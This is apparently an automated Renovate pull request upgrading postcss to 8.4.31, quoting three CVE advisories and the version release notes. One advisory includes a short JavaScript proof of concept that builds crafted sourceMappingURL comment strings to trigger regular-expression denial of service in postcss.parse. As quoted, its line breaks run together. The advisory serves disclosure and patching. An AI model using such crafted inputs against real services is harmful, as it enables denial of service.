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security(deps-tree): update postcss to v8.4.31 [security] #235

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@renovate renovate bot commented Oct 8, 2023

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
postcss (source) 8.4.5 -> 8.4.31 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2021-23368

The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

CVE-2021-23382

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

CVE-2023-44270

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.


Release Notes

postcss/postcss (postcss)

v8.4.31

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v8.4.30

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  • Improved source map performance (by Romain Menke).

v8.4.29

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  • Fixed Node#source.offset (by Ido Rosenthal).
  • Fixed docs (by Christian Oliff).

v8.4.28

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  • Fixed Root.source.end for better source map (by Romain Menke).
  • Fixed Result.root types when process() has no parser.

v8.4.27

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  • Fixed Container clone methods types.

v8.4.26

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  • Fixed clone methods types.

v8.4.25

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v8.4.24

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  • Fixed Plugin types.

v8.4.23

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  • Fixed warnings in TypeDoc.

v8.4.22

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  • Fixed TypeScript support with node16 (by Remco Haszing).

v8.4.21

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  • Fixed Input#error types (by Aleks Hudochenkov).

v8.4.20

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  • Fixed source map generation for childless at-rules like @layer.

v8.4.19

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  • Fixed whitespace preserving after AST transformations (by Romain Menke).

v8.4.18

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  • Fixed an error on absolute: true with empty sourceContent (by Rene Haas).

v8.4.17

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  • Fixed Node.before() unexpected behavior (by Romain Menke).
  • Added TOC to docs (by Mikhail Dedov).

v8.4.16

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  • Fixed Root AST migration.

v8.4.15

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  • Fixed AST normalization after using custom parser with old PostCSS AST.

v8.4.14

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  • Print “old plugin API” warning only if plugin was used (by @​zardoy).

v8.4.13

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  • Fixed append() error after using .parent (by Jordan Pittman).

v8.4.12

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  • Fixed package.funding to have same value between all PostCSS packages.

v8.4.11

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  • Fixed Declaration#raws.value type.

v8.4.10

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  • Fixed package.funding URL format.

v8.4.9

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  • Fixed package.funding (by Álvaro Mondéjar).

v8.4.8

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  • Fixed end position in empty Custom Properties.

v8.4.7

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  • Fixed Node#warn() type (by Masafumi Koba).
  • Fixed comment removal in values after ,.

v8.4.6

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  • Prevented comment removing when it change meaning of CSS.
  • Fixed parsing space in last semicolon-less CSS Custom Properties.
  • Fixed comment cleaning in CSS Custom Properties with space.
  • Fixed throwing an error on .root access for plugin-less case.

Configuration

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🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added dependencies Pull requests that update a dependency file security labels Oct 8, 2023
@renovate renovate bot requested a review from latipun7 as a code owner October 8, 2023 07:26
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